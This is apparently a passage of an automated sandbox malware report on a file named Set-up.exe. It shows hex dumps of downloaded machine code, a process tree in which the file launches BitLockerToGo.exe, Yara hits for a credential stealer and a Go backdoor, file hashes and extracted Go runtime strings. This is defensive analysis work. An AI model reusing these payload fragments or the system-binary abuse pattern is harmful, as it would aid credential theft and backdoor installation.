2024-12-30 20:42:39 UTC	1369	IN	Data Raw: 31 ec 00 8b 6c 24 1c c6 44 2b 0c 01 8b 0d 0c 31 ec 00 39 c8 73 75 8b 1d 08 31 ec 00 0f b6 7c 24 13 97 88 44 2b 0d 97 8b 4c 24 2c 8b 74 24 3c e9 62 fc ff ff e8 ac e1 02 00 8d 05 03 53 62 00 89 04 24 c7 44 24 04 1e 00 00 00 e8 46 e7 02 00 8b 44 24 34 89 04 24 8b 44 24 28 89 44 24 04 e8 32 e7 02 00 8d 05 8d c6 61 00 89 04 24 c7 44 24 04 02 00 00 00 e8 1c e7 02 00 e8 c7 e1 02 00 8b 4c 24 2c 8b 74 24 3c e9 0b fc ff ff e8 95 f7 05 00 e8 90 f7 05 00 e8 8b f7 05 00 8b 35 08 31 ec 00 97 88 44 2e 0d 97 40 39 d8 7d 26 8b 0d 0c 31 ec 00 39 c8 73 2e 89 c5 c1 e5 04 8b 35 08 31 ec 00 c6 44 2e 0c 01 8b 0d 0c 31 ec 00 39 c8 72 cb eb 0d 8b 4c 24 2c 8b 74 24 3c e9 b8 fb ff ff e8 42 f7 05 00 e8 3d f7 05 00 89 c2 89 c8 89 d1 e8 92 f7 05 00 b8 04 00 00 00 89 d1 e8 86 f7 05 00 Data Ascii: 1l$D+19su1\|$D+L$,t$<bSb$D$FD$4$D$(D$2a$D$L$,t$<51D.@9}&19s.51D.19rL$,t$<B=
2024-12-30 20:42:39 UTC	1369	IN	Data Raw: ec 00 39 c8 73 5a 89 14 24 89 4c 24 04 89 44 24 08 c7 44 24 0c 03 00 00 00 8d 05 a0 52 60 00 89 44 24 10 e8 24 aa 05 00 8b 44 24 1c 8b 4c 24 14 8b 54 24 18 89 05 10 31 ec 00 8b 05 f8 24 ee 00 85 c0 74 10 e8 13 f2 05 00 89 0f 8b 05 08 31 ec 00 89 47 04 89 0d 08 31 ec 00 89 d0 89 ca 89 c1 89 0d 0c 31 ec 00 8d 41 fd c1 e0 04 c7 44 02 04 07 00 00 00 66 c7 44 02 0c 00 00 8b 0d f8 24 ee 00 85 c9 74 2d 8b 0c 02 e8 0f f2 05 00 89 0f 8b 4c 02 08 89 4f 04 8b 4c 02 10 89 4f 08 8b 4c 02 18 89 4f 0c 8b 4c 02 20 89 4f 10 8b 4c 02 28 89 4f 14 8d 0d 98 ce 61 00 89 0c 02 8d 0d e4 28 ee 00 89 4c 02 08 c7 44 02 14 08 00 00 00 66 c7 44 02 1c 00 00 8d 0d 31 d1 61 00 89 4c 02 10 8d 0d e5 28 ee 00 89 4c 02 18 c7 44 02 24 08 00 00 00 66 c7 44 02 2c 00 00 8d 0d 39 d1 61 00 89 4c Data Ascii: 9sZ$L$D$D$R`D$$D$L$T$1$t1G11ADfD$t-LOLOLOL OL(Oa(LDfD1aL(LD$fD,9aL
2024-12-30 20:42:39 UTC	1369	IN	Data Raw: 5c 24 78 8b 44 24 50 8b 8c 24 a0 00 00 00 8b 54 24 64 31 db eb 05 89 6c 08 fc 43 83 fb 04 7d 59 83 c0 04 8b 6c 9c 6c 39 c2 73 eb 89 5c 24 68 89 6c 24 58 89 0c 24 89 44 24 04 89 54 24 08 c7 44 24 0c 04 00 00 00 8d 05 a0 cb 5e 00 89 44 24 10 e8 9e a4 05 00 8b 4c 24 14 8b 44 24 18 8b 54 24 1c 8b 5c 24 68 8b 6c 24 58 eb ab 4a 89 d3 f7 db c1 fb 1f 83 e3 01 01 d9 48 85 c0 74 05 80 39 20 74 e9 31 d2 eb 01 42 39 c2 7d 0a 0f b6 1c 11 84 db 75 f3 eb 02 89 c2 c7 04 24 00 00 00 00 89 4c 24 04 89 54 24 08 e8 d8 ab 05 00 8b 44 24 0c 8b 4c 24 10 89 84 24 a8 00 00 00 89 8c 24 ac 00 00 00 81 c4 a4 00 00 00 c3 e8 26 d8 05 00 e9 41 fd ff ff cc 8b 44 24 04 8b 4c 24 08 0f a2 89 44 24 0c 89 5c 24 10 89 4c 24 14 89 54 24 18 c3 cc cc cc cc cc b9 00 00 00 00 0f 01 d0 89 44 24 04 Data Ascii: \$xD$P$T$d1lC}Yll9s\$hl$X$D$T$D$^D$L$D$T$\$hl$XJHt9 t1B9}u$L$T$D$L$$$&AD$L$D$\$L$T$D$
2024-12-30 20:42:39 UTC	1369	IN	Data Raw: ff ff ff c6 44 24 10 01 c3 cc 8b 74 24 04 8b 7c 24 08 39 fe 74 0c 8b 5a 04 8d 44 24 0c e9 f8 fe ff ff c6 44 24 0c 01 c3 cc cc 8b 74 24 04 8b 4c 24 08 8a 44 24 10 89 f7 fc f2 ae 74 09 c7 44 24 14 ff ff ff ff c3 29 f7 83 ef 01 89 7c 24 14 c3 cc cc cc cc cc cc cc cc cc cc 8b 74 24 04 8b 4c 24 08 8a 44 24 0c 89 f7 fc f2 ae 74 09 c7 44 24 10 ff ff ff ff c3 29 f7 83 ef 01 89 7c 24 10 c3 cc cc cc cc cc cc cc cc cc cc 8b 0d d0 22 ee 00 64 8b 09 8b 09 3b 61 08 76 50 83 ec 08 0f b6 54 24 0c 0f b6 d2 8b 1d 1c a9 eb 00 8b 2d 18 a9 eb 00 39 d3 7f 16 85 db 76 27 8b 45 00 8b 4d 04 89 44 24 10 89 4c 24 14 83 c4 08 c3 8d 44 d5 00 8b 08 8b 40 04 89 4c 24 10 89 44 24 14 83 c4 08 c3 31 c0 89 c1 e8 31 e7 05 00 90 e8 ab d2 05 00 eb 99 cc cc cc cc cc cc cc cc cc 8b 0d d0 22 ee Data Ascii: D$t$\|$9tZD$D$t$L$D$tD$)\|$t$L$D$tD$)\|$"d;avPT$-9v'EMD$L$D@L$D$11"
2024-12-30 20:42:39 UTC	1369	IN	Data Raw: 74 24 03 96 f6 c0 80 96 75 be 90 8d 44 28 03 85 db 7c 22 89 c1 f7 d8 39 d8 72 0c 89 4c 24 14 89 5c 24 18 83 c4 0c c3 85 c9 74 05 e8 c1 0c 05 00 e8 fc 0c 05 00 e8 b7 0c 05 00 e8 42 a8 02 00 e8 3d a8 02 00 90 e8 f7 cd 05 00 e9 f2 fe ff ff cc cc 8b 0d d0 22 ee 00 64 8b 09 8b 09 3b 61 08 0f 86 b5 03 00 00 83 ec 5c 8b 54 24 64 81 fa 00 00 00 20 0f 8d 37 03 00 00 8b 5c 24 6c 81 fb 00 00 00 20 0f 8d bd 02 00 00 c7 44 24 31 00 00 00 00 c7 44 24 33 00 00 00 00 c7 44 24 37 00 00 00 00 c7 44 24 27 00 00 00 00 c7 44 24 29 00 00 00 00 c7 44 24 2d 00 00 00 00 90 89 d0 31 c9 eb 0a 83 cd 80 95 88 44 0c 31 95 41 89 d5 c1 fa 07 83 e5 7f 85 d2 74 0a 83 f9 0a 72 e5 e9 5a 02 00 00 83 f9 0a 0f 83 45 02 00 00 95 88 44 0c 31 95 90 89 da 31 ed eb 0a 83 ce 80 96 88 44 2c 27 96 45 Data Ascii: t$uD(\|"9rL$\$tB="d;a\T$d 7\$l D$1D$3D$7D$'D$)D$-1D1AtrZED11D,'E
2024-12-30 20:42:39 UTC	1369	IN	Data Raw: 75 21 8b 44 24 0c 84 00 89 04 24 e8 48 f8 ff ff 8b 44 24 04 89 44 24 10 83 c4 08 c3 e8 c7 c8 05 00 eb c5 8d 7c 24 0c 39 3b 75 d7 89 23 eb d3 cc cc cc cc cc cc cc cc cc 8b 0d d0 22 ee 00 64 8b 09 8b 09 3b 61 08 76 12 8b 59 10 85 db 75 12 8b 44 24 04 8b 00 89 44 24 08 c3 e8 89 c8 05 00 eb d7 8d 7c 24 04 39 3b 75 e6 89 23 eb e2 cc cc cc cc cc cc cc cc cc cc cc 8b 0d d0 22 ee 00 64 8b 09 8b 09 3b 61 08 76 17 8b 59 10 85 db 75 17 8b 44 24 04 0f b6 40 0f 83 e0 1f 88 44 24 08 c3 e8 44 c8 05 00 eb d2 8d 7c 24 04 39 3b 75 e1 89 23 eb dd cc cc cc cc cc cc 8b 0d d0 22 ee 00 64 8b 09 8b 09 3b 61 08 76 23 8b 59 10 85 db 75 23 8b 44 24 04 0f b6 48 0f 83 e1 1f 80 f9 11 75 05 8b 40 28 eb 02 31 c0 89 44 24 08 c3 e8 f8 c7 05 00 eb c6 8d 7c 24 04 39 3b 75 d5 89 23 eb d1 cc Data Ascii: u!D$$HD$D$\|$9;u#"d;avYuD$D$\|$9;u#"d;avYuD$@D$D\|$9;u#"d;av#Yu#D$Hu@(1D$\|$9;u#
2024-12-30 20:42:39 UTC	1369	IN	Data Raw: 00 8b 4c 24 38 31 c0 eb 0a 8d 5c c4 0c 89 33 89 53 04 40 83 f8 04 7d 06 89 44 24 2c eb 6c 84 01 8d b9 00 01 00 00 89 7c 24 30 90 8d 74 24 0c e8 cb de 05 00 8b 44 24 30 89 04 24 8b 44 24 38 89 44 24 04 c7 44 24 08 00 00 00 00 e8 bf 05 00 00 8b 44 24 38 c7 80 28 01 00 00 00 00 00 00 c7 80 20 01 00 00 00 00 00 00 c7 80 24 01 00 00 20 00 00 00 83 c4 34 c3 89 0c 24 e8 71 fe ff ff 8b 44 24 38 8b 44 24 2c 8b 4c 24 38 8b 91 20 01 00 00 8b 99 24 01 00 00 39 d3 77 0c be 00 00 00 00 ba 00 00 00 00 eb 18 8d 6a 01 89 a9 20 01 00 00 89 d5 83 e2 1f 8d 14 d1 8b 32 8b 52 04 39 eb 76 b6 e9 44 ff ff ff e8 c5 c2 05 00 e9 10 ff ff ff 8b 0d d0 22 ee 00 64 8b 09 8b 09 3b 61 08 0f 86 bc 01 00 00 8b 44 24 08 c7 00 65 78 70 61 c7 40 04 65 78 70 61 c7 40 08 65 78 70 61 c7 40 0c 65 Data Ascii: L$81\3S@}D$,l\|$0t$D$0$D$8D$D$D$8( $ 4$qD$8D$,L$8 $9wj 2R9vD"d;aD$expa@expa@expa@e
2024-12-30 20:42:39 UTC	1369	IN	Data Raw: 8b 74 24 18 01 de 31 f2 c1 c2 0c 01 d0 89 44 24 30 31 c3 c1 c3 08 89 5c 24 3c 01 de 89 74 24 18 31 f2 8b 44 24 28 01 c5 8b 5c 24 38 31 eb c1 c3 10 8b 74 24 14 01 de 31 f0 c1 c0 0c 01 c5 31 eb c1 c3 08 89 5c 24 38 01 de 31 f0 8b 5c 24 0c 43 90 90 90 90 90 90 90 90 c1 c7 07 c1 c1 07 c1 c2 07 c1 c0 07 89 5c 24 0c 8b 5c 24 4c 89 7c 24 24 89 4c 24 20 89 54 24 1c 89 74 24 14 8b 54 24 38 8b 4c 24 10 89 ee 89 c7 8b 44 24 34 8b 6c 24 30 89 74 24 2c 8b 4c 24 0c 83 f9 04 0f 8c 32 fe ff ff e9 ee fc ff ff e8 8b bd 05 00 e9 a6 fc ff ff cc cc cc cc cc cc e9 9b fc ff ff cc cc cc cc cc cc cc cc cc cc cc 8b 0d d0 22 ee 00 64 8b 09 8b 09 3b 61 08 0f 86 1f 01 00 00 83 ec 08 c7 04 24 00 00 00 00 c7 44 24 04 00 00 f0 7f f2 0f 10 04 24 f2 0f 11 05 e8 22 ee 00 8b 05 f8 24 ee 00 Data Ascii: t$1D$01\$<t$1D$(\$81t$11\$81\$C\$\$L\|$$L$ T$t$T$8L$D$4l$0t$,L$2"d;a$D$$"$

Target ID:	0
Start time:	15:41:56
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Set-up.exe"
Imagebase:	0xd40000
File size:	3'815'936 bytes
MD5 hash:	D6AB8DA3BD0065C5F9EF7E4C1524C853
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:42:20
Start date:	30/12/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x850000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2017321286.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:43:08
Start date:	30/12/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x850000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000005.00000002.2917453173.000000000BD42000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000005.00000002.2917453173.000000000BD2E000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Function 00D66F70 Relevance: 16.9, Strings: 13, Instructions: 653COMMON

Download Yara Rule

Strings

, levelBits[level] = 186264514923095703125931322574615478515625AdjustTokenPrivilegesAlaskan Standard TimeAnatolian_HieroglyphsArabian Standard TimeBelarus Standard TimeCM_Get_DevNode_StatusCentral Standard TimeChangeServiceConfig2WDeregisterEventSourceEastern , xrefs: 00D67899
runtime: levelShift[level] = runtime: marking free object runtime: p.gcMarkWorkerMode= runtime: split stack overflowruntime: sudog with non-nil cruntime: summary max pages = semacquire not on the G stackstring concatenation too longsyntax error scanning boolea, xrefs: 00D6786C
runtime: p.searchAddr = span has no free objectsstack trace unavailablestructure needs cleaningx509: malformed validityzlib: invalid dictionary{%06X-%04X-%04X-%04X-%X} bytes failed with errno= to unused region of span!#$%&'()-@^_`{}~+,.;=[]\/2006-01-02T15:04:, xrefs: 00D677E4
, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicMarchenMultaniMyanmarN, xrefs: 00D67799
][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5, xrefs: 00D6725C, 00D67685
runtime: npages = runtime: range = {runtime: textAddr segmentation faultsequence truncatedstreams pipe errorsystem page size (tracebackancestorstruncated sequenceuse of closed filevalue out of range [controller reset] called using nil *, g->atomicstatus=, gp-, xrefs: 00D67325
bad summary databad symbol tablecastogscanstatuscontext canceleddivision by zerogc: unswept spangcshrinkstackoffgetprotobynumberinteger overflowinvalid argumentinvalid encodinginvalid exchangeinvalid g statuslength too largemSpanList.insertmSpanList.removemess, xrefs: 00D6735C, 00D67AEE
] = ] n=allgallpasn1avx2basebindbmi1bmi2boolcallcas1cas2cas3cas4cas5cas6chandeadermsfileftpsfunchourhttpicmpidleigmpint8itabkindopenpathpipepop3profquitreadrecvrootsbrkseeksendsmtpsse3tag:tcp4trueudp4uint -%s ... BOM) MB, and max= ms, ptr tab= top=+0330+, xrefs: 00D676B0
, i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLycianLydianMIPS16ModuleMondayNativeRejangSCHED STREETStringSundaySy, xrefs: 00D67811
), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT, xrefs: 00D67305
, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetObjectCreateFileWDelayImportDeleteFileWDives_AkuruExitProcessFieldLayoutFreeLibraryGOTRACE, xrefs: 00D6776C
runtime: level = runtime: nameOff runtime: pointer runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version, xrefs: 00D6773D
, ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTAS, xrefs: 00D672B1, 00D672DB, 00D676DA, 00D67704

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: ), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT$, ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTAS$, i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLycianLydianMIPS16ModuleMondayNativeRejangSCHED STREETStringSundaySy$, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicMarchenMultaniMyanmarN$, levelBits[level] = 186264514923095703125931322574615478515625AdjustTokenPrivilegesAlaskan Standard TimeAnatolian_HieroglyphsArabian Standard TimeBelarus Standard TimeCM_Get_DevNode_StatusCentral Standard TimeChangeServiceConfig2WDeregisterEventSourceEastern $, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetObjectCreateFileWDelayImportDeleteFileWDives_AkuruExitProcessFieldLayoutFreeLibraryGOTRACE$] = ] n=allgallpasn1avx2basebindbmi1bmi2boolcallcas1cas2cas3cas4cas5cas6chandeadermsfileftpsfunchourhttpicmpidleigmpint8itabkindopenpathpipepop3profquitreadrecvrootsbrkseeksendsmtpsse3tag:tcp4trueudp4uint -%s ... BOM) MB, and max= ms, ptr tab= top=+0330+$][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5$bad summary databad symbol tablecastogscanstatuscontext canceleddivision by zerogc: unswept spangcshrinkstackoffgetprotobynumberinteger overflowinvalid argumentinvalid encodinginvalid exchangeinvalid g statuslength too largemSpanList.insertmSpanList.removemess$runtime: level = runtime: nameOff runtime: pointer runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version$runtime: levelShift[level] = runtime: marking free object runtime: p.gcMarkWorkerMode= runtime: split stack overflowruntime: sudog with non-nil cruntime: summary max pages = semacquire not on the G stackstring concatenation too longsyntax error scanning boolea$runtime: npages = runtime: range = {runtime: textAddr segmentation faultsequence truncatedstreams pipe errorsystem page size (tracebackancestorstruncated sequenceuse of closed filevalue out of range [controller reset] called using nil *, g->atomicstatus=, gp-$runtime: p.searchAddr = span has no free objectsstack trace unavailablestructure needs cleaningx509: malformed validityzlib: invalid dictionary{%06X-%04X-%04X-%04X-%X} bytes failed with errno= to unused region of span!#$%&'()-@^_`{}~+,.;=[]\/2006-01-02T15:04:
API String ID: 0-994956587
Opcode ID: c88764a6d2e53b7957045ec24d8f679d0a9daed4a71d48b31aca3c290eb90678
Instruction ID: e08c50bf631b8bcf049d1b9b05661d03da1de7000789258df2e6b61736e750ef
Opcode Fuzzy Hash: c88764a6d2e53b7957045ec24d8f679d0a9daed4a71d48b31aca3c290eb90678
Instruction Fuzzy Hash: E05236756087088FD324EF68D58076EB7E2FF88304F54892DE99987351EBB4A844DB63

Function 00D512F0 Relevance: 5.8, Strings: 4, Instructions: 810COMMON

Download Yara Rule

Strings

runtime: invalid type runtime: netpoll failedruntime: s.allocCount= s.allocCount > s.nelemsschedule: holding lockssegment length too longshrinkstack at bad timespan has no free stacksstack growth after forksyntax error in patternsystem huge page size (too man, xrefs: 00D51BFE
-, xrefs: 00D51C3E
heapBitsSetType: called with non-pointer typenot a valid PE signature. Probably an LE filenot a valid PE signature. Probably an LX fileoffset %d is before the start of string tableparsing/packing of this section has completedpkcs7: failed to verify certificate, xrefs: 00D51C35
heapBitsSetType: unexpected shiftindefinite length found (not DER)leafCounts[maxBits][maxBits] != nmin must be a non-zero power of 2misrounded allocation in sysAlloc .nameFrom: name too long: : Field index out of range : NumOut of non-func t, xrefs: 00D51BC8

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: -$heapBitsSetType: called with non-pointer typenot a valid PE signature. Probably an LE filenot a valid PE signature. Probably an LX fileoffset %d is before the start of string tableparsing/packing of this section has completedpkcs7: failed to verify certificate$heapBitsSetType: unexpected shiftindefinite length found (not DER)leafCounts[maxBits][maxBits] != nmin must be a non-zero power of 2misrounded allocation in sysAlloc .nameFrom: name too long: : Field index out of range : NumOut of non-func t$runtime: invalid type runtime: netpoll failedruntime: s.allocCount= s.allocCount > s.nelemsschedule: holding lockssegment length too longshrinkstack at bad timespan has no free stacksstack growth after forksyntax error in patternsystem huge page size (too man
API String ID: 0-1036788876
Opcode ID: a6a5ea8df3db360e49b0a6d32a7081a65e7c436e84b9fbf646307be1f903b5bf
Instruction ID: f9a92d7e8f1df9ac6286fdd4f0c8e4a489f41ec72f6f8547bfe117dff94ca67f
Opcode Fuzzy Hash: a6a5ea8df3db360e49b0a6d32a7081a65e7c436e84b9fbf646307be1f903b5bf
Instruction Fuzzy Hash: 57627E75A083958FD725DF19C48075AFBE2ABC9301F19892EECD987341E770D909CBA2

Function 00D60480 Relevance: 5.5, Strings: 4, Instructions: 527COMMON

Download Yara Rule

Strings

min too largenil stackbaseout of memoryparsing time powrprof.dll, xrefs: 00D60A70
!, xrefs: 00D60AC8
runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory, xrefs: 00D60A3C, 00D60A8B
min must be a non-zero power of 2misrounded allocation in sysAlloc .nameFrom: name too long: : Field index out of range : NumOut of non-func type : array index out of range : chanDir of non-chan type : slice index out of r, xrefs: 00D60ABF

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
